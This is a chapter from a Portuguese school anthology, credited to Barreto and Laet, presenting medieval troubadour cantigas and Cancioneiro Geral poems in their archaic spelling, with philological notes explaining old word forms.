TROVADORISMO – Literatura Medieval Portuguesa

CAPÍTULO 5

FASE MEDIEVAL

(Princípio do Século XVI ao XIII)

TROVADORES

Para que possa o estudante melhor sentir a natureza e a essência da
poesia medieval, a cujo cunho português largamente se mesclaram os in-
fluxos de Provença e de Castela, trasladam-se para a presente edição
algumas trovas, colhidas entre os muitos autores da época afonsina e dio
nisiana, e outras, sacadas ao Cancioneiro Geral de Garcia de Resende —•
documentário em que se enfeixa toda a poesia lusitana do fim do século XV
e se remata o ciclo da lírica trovadoresca na Literatura Portuguesa.

Essa transcrição visa a dar a conhecer o pensamento das composições
ingênuas e sentimentais da época anteclássica, por vezes obscuras e pobres
de matizes, quase sempre feitas de pieguice amorosa e de lamúrias, e nas
quais se vive de suspirar e se morre de amar… Mas nessas cantigas de
amor
e nas de amigo, em que se concentra o lirismo dos trovadores de
então, e, mais que tudo, nas que constituem a coletânea de Resende, há
principalmente, para ver-se, como objeto de estudo, o travejamento da
linguagem, referta de arcaísmos morfológicos, sintáticos e semânticos, e
cuja métrica, implicando leitura cuidadosa, concorre para auxiliar a com-
preensão dos termos e a percepção dos conceitos.

Eis a razão por que, conservando neles a arbitrária e vária grafia
do passado, aqui se inserem tais trechos, cuja leitura, mesmo quando enfa-
donha, é imprescindível a quem quer conhecer a pleno a nossa língua na
sua evolução histórica.

Cantiga de Amor

Como morreu quen nunca ben
ouve da ren que mais amou,
e quen viu quanto receou
d’ela, e foi morto por en:

Ay mia senhor, assi moir’ eu!

Como morreu quen foi amar
quen lhe nunca quis ben fazer,
e de quen lhe fez Deus veer
de que foi morto con pesar:

Ay mia senhor, assi moir’ cu!

Com’ome que ensandeceu,
senhor, con gran pesar que viu,
e non foi ledo nen dormiu
depois, mia senhor, e morreu:

Ay mia senhor, assi moir’ eu!

Como morreu quen amou tal
dona que lhe nunca fez ben,
e quen a viu levar a quen
a non valia, nen a vai:

Ay mia senhor, assi moir’ eu! (919)

(Paay Soares de Taveiros, Cancioneiro da
Ajuda,
n.° 35, apud Mendes dos
Remédios).

Cantiga de Amigo

O meu amigo que me dizia
que nunca mais migo viveria
par Deos, donas, aqui é já!

Que muyto m’el avia jurado
que me non visse, mais, a Deos grado,
par Deos, donas, aqui é já!

O que jurava que non visse
por non seer todo quanfel disse,
par Deos, donas, aqui é já!

Melhor o fezo ca o non disse;
par Deos, donas, aqui é já! (920)

(Idem, no Cancion. da Vaticano, n.° 239,
transcrito por Mendes dos Remédios).

 

Cantiga Religiosa

(de afonso x, de castela e de leão)

Santa Maria, lenbre-vos de mi,
et d’aquelo pouco que vos servi.
Non catedes a como pecador
soon; mais catad’ a vossa valor
e por un muy pouco que de loor
dixe de vós, en que ren non menti.

Non catedes como pequey assaz,
mais catad’ o gran ben que en vós jaz;
ca vós me fezestes como quen faz
sa cousa quita toda pera ssi.

Non catedes a como pequey greu;
mais catad’ o gran ben que vos Deus deu;
ca outro ben senon vós non ei eu,
nen ouve nunca des quando naçi,

Non catedes en como fuy errar
mas catad’ o vosso ben que sen par
est’, e de como Deus a perdoar
nos á por vós: et sei que est’ assi.

Non catedes a como fuy falir;
mais catade como non sey u ir
senon a vós por mercee pedir
u a achei cada que a pedi.

E querede que vos veja ali
u vós sódes, quando me fôr d’aqui. (921)

(Cantigas de Santa Maria n.° 402 — Leitura de Pe. Augusto Magne, na Rev.de L. Port., n.° 44, p. 104).

 

Cantiga d’Amigo

Chegou mh’ amiga recado
Daquel que quero gram ben,
Que poys que viu meu mandado
Quanto pode viir, ven;
E and’eu leda poren
E fazo muyto aguysado.

El ven por chegar coytado
Ca sofre grã mal d’amor,
E anda muyt’ alongado
D’aver prazer, ne sabor,
Senon ali hu eu for,
Hu é todo seu cuydado.

Por quanto mal a levado
Amiga razon farey
De lhi dar en d’algü grado
Poys vé como lh’eu mandey
E logu’el será ben sey
Do mal guarid’ e cobrado
E das coytas que lh’ eu dey
Desque foy meu namorado. (922)

(Cancioneiro d’El-Rei D. Dinis, ed. de
Caetano Lopes de Moura, Paris, 1847, pp. 175-176).

 

De D. Dinis

Ay flores! ay flores do verde pyno,
Se sabedes novas do meu amigo!
Ay Deos! E hu é?

Ay flores, ay flores do verde ramo,
Se sabedes novas do meu amado!
Ay Deos! E hu é?

Se sabedes novas do meu amigo,
Aquel que mentio do que mha jurado!
Ay Deos! E hu é?

Se sabedes novas do meu amado,
Aquel que mentio do que pos comigo!
Ay Deos! E hu é?

Vós me perguntades pelo voss’amado?
E eu ben vos digo que é vivo e sano.
Ay Deos! E hu é?

E eu ben vos digo que é vivo e sano
E seera vosco ant’ o prazo saydo.
Ay Deos! E hu é?

E eu ben vos digo que é vivo e sano
E seera vosco ant’ o prazo passado.
Ay Deos! E hu é? (923)

(Cantigas d’amigo, no Cancioneiro ./.

D. Dinis, cil., pp. 139 140)

Cantiga de Amigo

Eu nunca dórmio nada,
cuidand’ en meu amigo;
el que tan muito tarda,

se outr’ amor á sigo,
ergo lo meu, querria
morrer og’este dia.

E cuid’ eu esto sempre,
non sei que de mi seja;
el que tan muito tarda
se outro ben deseja
ergo lo meu, querria
morrer og’este dia.

Se o faz, faz-mi torto
e, par Deos, mal me mata;
el que tan muito tarda
se rostro outro cata,
ergo lo meu, querria
morrer og’este dia.

Ca meu dano seria
de viver mais un dia. (924)

(De João Lopes d’Ulhoa — see. XIII).

Do Infante D. Afonso Sanches

Muitos me dizen que servi doado
üa donzela, que ei por senhor.
Dizê-lo poden, mais, a Deos loado,
poss’eu fazer quen quiser sabedor,
que non é ‘ssi; ca, se me venha ben!
non é doado, pois me deu por én
mui grand’ afan e desej’ e cuidado,
que ouvi d’ela, poi’-la vi, levado;
porque viv’ end, amigos, na maior
coita do mundo; ca, mao pecado!
semp’ eu ouvi por amor desamor.

 

De mia senhor tod’este mal me ven;
[e] al me ven peor, ca me fez quen
sérvio servir, e non seer amado
porén; mais eu, que mal-dia fui nado
oùvi a levar aquesto da melhor
das que Deos fezo, ca non outro grado
desej’aver, de que me ven peor;
ca Deos Senhor, que nunca mal fez ren
foi dar-me a, per quen perdi o sen,
e por quen moir’ assi desemparado
de ben; que, par Deos que m’en poder ten!
quen na donzela vir, ficará én

— com’eu fiquei — de gran coita coitado. (925)

(Leitura de Pe. Augusto Magne, em trabalho
publicado no tomo I da Rev. de Filologia e
de História,
pp. 70 e 71).

Cantiga, partindo-se

Senhora, partem tã tristes
meu olhos por vós, meu bé,
que nuca tam tristes vistes,
outros nenhüs por ninguém!

Tam tristes, tam saudosos,
tam doentes da partyda,
tam canssados, tã chorosos,
da morte mays desejosos
cem myl vezes que da vida!
Partem tam tristes os tristes,
tam fora desperar bem,

 

que nuca tam trystes vistes
outros nenhüs por ninguém! (926)
(João Rodrigues de Castello-Branco —
no Cancioneiro Geral, 107 v., apud
Mendes dos Remédios).

De Sancho de Pedrosa a Maria Jacome, estando de
noyte falando com ela sem no ela conhecer,
& le pidio que lhe dissesse quem era.

Se vos vira, que fyzera,
pois ouvir-uos me matou:
nenhum rremedio tiuera
se vossa merçe quisera
parecer, como falou.

Dizer-uos o nome meu
vos dey a fee, jaa vencido:
o triste me chamo eu,
a quem vossa merçe deu
presunçam de ser perdido.

Houuir-uos nunca devera,
pois me tanto namorou
quem eu vira, se poderá,
nam por dizer-uos, quem era,
mas por ver quem me matou. (927)

(Garcia de Resende, Cancioneiro Geral, ed. de
E. H. V. Kaussler, 1846, vol. I, p. 447).

 

Cantiga de D. Anrrique de Saa em louvor de sua senhora:

Toda fermosa naçida
ha de morrer de tristeza,
poys toda arte de lyndeza
soo de vos he possoyda.

A vos soo quis Deos fazer
desyguall em fermosura,
por nos dar a nos tristura
e [a] nossos olhos prazer.

Morreraa toda naçida
d’huum mal que chamam tristeza,
poys toda arte de lyndeza
soo de vos he possoyda. (928)

(Ibidem, vol. II, p. 334).

De Jorge d’Aguyar

Coraçam, ja rrepousauas
ja nam tinhas sojeyçam,
ja viuias, ja folgauas;
poys porque te sogygauas
outra vez, meu coraçam!

Soffre, poys te nam soffreste
na vida que ja viuias;
soffre, poys te tu perdeste,
soffre, poys nam conheceste
como t’outra vez perdias!
soffre, poys ja liure estauas
e quiseste sogeyçam,
soffre, poys te nam lembrauas
das dores de qu’ escapauas:
soffre, soffre, coraçam! (929)

(ibidem, vol. III).

 

A D. Felypa d’Abreu

(De Francisco da Silveyra)

Acolhamo-nos oo ssyso,
sejamos cujos devemos,

nam erremos;
poys o al he todo rriso,
nom se leyxe o parayso,
d’oje auante açertemos.

Nom quero mays ser ssandeu,
e leyxo ja desd’aguora

de ser meu,
por ser todo da senhora

Dona Felipa d’Abreu. (930)

 

 

Língua ós teus esquecida
Ou por falta d’amor ou falta d’arte,
Sê para sempre lida!
(Antônio Ferreira, Ode 1, em Poemas Lusitanos).

Notas

  • (919) ren (do lat. rem, de res, rei) = cousa: en (apóc. de ende, lat. inde)= isso, aqui. senhor, forma invariável então, como os demais nomes acabados em or: mia senhor — minha senhora; mia, aqui monossilábico na pronúncia; escreveu-se também mha e ma, moiro (alter, de *morio, do lat. morior, do v.mori, morrer) = morro, orne = homem, alguém.
  • (920) migo (do lat. mecum> mego) = comigo; par Deos — por Deus; el = êle. a Deos grado, a Deos toado, a Deos misericórdia, como mercê de Deus, graças a Deus: expressões de reconhecimento ao Ser Supremo, fezo, como feze = fêz, v. fazer, ca (lat.quam) = do que, loc. conj. comparat: "sodes mais neycio ca eu cuidava" (Santo Graal, 418); pode ser também, e comumente, conjunção causal (do lat.quare pelo fr. car. ou do lat. qitia) = porque: "e val-nos, Santa Maria / ca mester é que nos valhas" (Cantigas de Santa Maria, 350); ca aparece ainda como conj. integrante, uma ou outra vez: "e Lançalot, quando esto ouviu, ouve gran pessar, disse ca sse lhis defendiria". (Ihis — deles; Santo Graal, 420). J. J. Nunes colhe também um ca, pronome relat., na Regra de S. Bento (Gramát. Hist., 1.» ed., p. 261, nota).
  • (921) nembre-vos de mi = lembrai-vos de mim ou lembre-vos minha pessoa; nembrar, alter, de membrar (lat. mem (o)rare). catade, non catedes, imperativo do v. catar — olhar, soon (e também soom, são, som, são e sam) = sou. vossa valor, nome fem. então, loor, também fem. = louvor: "A Santa Maria dadas / sejam loores onrradas" (Cantiga 140); loar — louvar, ren — cousa [nenhuma], jaz = há. des (lat. de ex) = desde (lat.
    de ex de), quita = livre, desembaraçada, solta, greu = grave (Pe. Auo. Magne). ei, ouve, á, bem como ouver, aja, am, avia, ave, avei, formas do v. aver (haver); cfr. o fr. avoir e o ital. avere. est e este quando precedem vogal, e é e he antes de consoante = é. falir = pecar, cometer falta, fraquejar, u e hu = onde; e, ás vezes = quando, cada = cada vez, sempre que. querede, imperai, de querer, sodes =r sois.
  • (922) mWamiga — minha amiga, poys — depois.viir (lat. ve(n)ire) = vir. leda = contente, alegre, porém — por isso, aguisado— acertadamente, com razão, coytado p. pass. do v. coitar (lat. *coctare, fre-
    qüentativo, de coquere) arder, sofrer, magoar-se; coitado aqui é aflito, apressado, ansioso, grã, e também gran, gram e grão, apócope de grande, alongado — afastado, apartado, distante, a — há, tem. en = por isso. grado = premio, prazer, satisfação. prazer, satisfação, guarido e cobrado = curado e refeito, poys (o segundo) se porquanto,
  • (923) E, hu é? = E onde está? m’ha me há, pos comigo se dis se-me, prometeu-me, combinou comigo, vasco = convosco (de vebiscum, pela forma pop. voscum).
  • (924) dormi o = durmo: a própria voz latina, antes da alteração metafônica. tan muito = muitíssimo, á sigo = tem consigo, possui, esto = isto (istuã). ergo lo meu ~ afora o meu, exceto o meu. ergo é aqui preposição e
    assume outro sentido, querria, condicional = quereria, og’este dia — hoje,
    neste dia, agora, torto = agravo, injúria. Cfr. o fr. tort. mal me mata — mal é aqui advérbio intensivo, cata = olha. ca = porque.
  • (925) doado = em vão, debalde (Vide P°. Aug. Magne, no comentário
    a este trecho), ei = hei, tenho, ssl == assi (ad sic). que ouvi dela levado os que eu houve levado dela (que dela levei (ou trouxe) comigo), poi la vi osdepois que a vi. viv’end = vivo por isso (ende). coita, também cuita = mâgoa,
    sofrimento, pesar, aflição, moo pecado (também mal pecado) = infelizmente, ca me fez quen sérvio servir = porque me fêz servir a quem sirvo, que mal diriafui nado = que nasci em mau dia. fezo = fêz. grado = agrado, prazer, que nunca mal fêz ren ( ren = cousa [nenhuma] nada. sen — juizo. Vide ocomentário do P°. Magne na cit. Rev., p. 79, quen na donzela vir = quem a donzela vir. (nasalação do articular, assimilado à nasal que o precede).
  • (926) Senhora — Esta forma (em vez da invariável senhor, tão repetida pelos trovadores) já se depara, a revezes, nos próprios Cancioneiros, como se vê nestes harmoniosos e delicados versos, mays = a voz mais, como advérbio e adjetivo, sucede a forma chus (do lat. plus) tão usada nos primordios da língua "prenda outros penhores que valham tanto ou chus"… (Foros da Guarda, nos Inéditos de Alcobaça, 5.° vol., p. 411). Na Demanda do Santo Graal emparelham os dois vocábulos: "Ary, Deus! que non nos poderiades chus mal fazer"… (424-íít); e "non ei vontade de vos mais mal fazer". (431).
  • (927) parecer = aparecer. Cfr.: "lhi meteu a lança polo peito, que o firio,
    e o fuste pareceu da outra parte". (Santo Graal, 424-bisj). vos dey a fee, jaa
    vencido
    = vos prometi, já vencido (enamorado), presunçam de ser perdido[de amores], me namorou = me enamorou, i. é, me prendeu pelo amor. Cfr. em Os Lusíadas: "tão formosa no gesto se mostrava, / que as estrelas e o céu e o ar vizinho / e tudo quanto a via, namorava". (II, 34).
  • (928) soo =z só. toda fermosa naçida, toda naçida — expressão em que
    se subentende mulher ou dama — paralela a rem nada, cousa nascida.
  • (929) sogygauas, imperf. do ind. do v. sogygar, forma alterada de sojugar. hoje subjugar (Cfr. soverter, someter, soterrâneo, formas evolutivas desusadas, que cederam lugar às refeitas subverter, submeter, subterrâneo, etc). Conserva-se nesta, como nas outras trovas, completa fidelidade à escrita dos documentos de onde se extraíram, para que fique patente ao estudante a desordem então reinante no assunto.
  • (930) oo ssiso = ao siso — A combinação da prepos. a com o articular o produziu as formas arcaicas o, oo, ó: "o que a ti non querias seer ffeyto, o outro non o farás". {Regia de San Beento, nos Inéditos de Alcobaça, I, cap. 70; no séc. XVI: "…chegando cõ esse lobo da língua oo çeo da boca"… (Fernão d’Oliveira, Gramát. da Lingoagem Port., 2." ed., cap. XIII): "Todo bem se vai ó fundo". (Gil Vicente, Obras, 1834, I, p. 129) e, ainda no séc. XVI: "Rodrigo Velho foi ó mundo espanto". (Pedro de Andrade Caminha,Poesias, p. 272). cujos devemos = de quem devemos [ser], o al = o mais, o resto. Al do lat. alid por aliud; e ale, analógica de tale) := outra cousa, o mais.leixar, forma are. de deixar, sandeu = tolo, implório, bobo, papalvo.

Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves.

 

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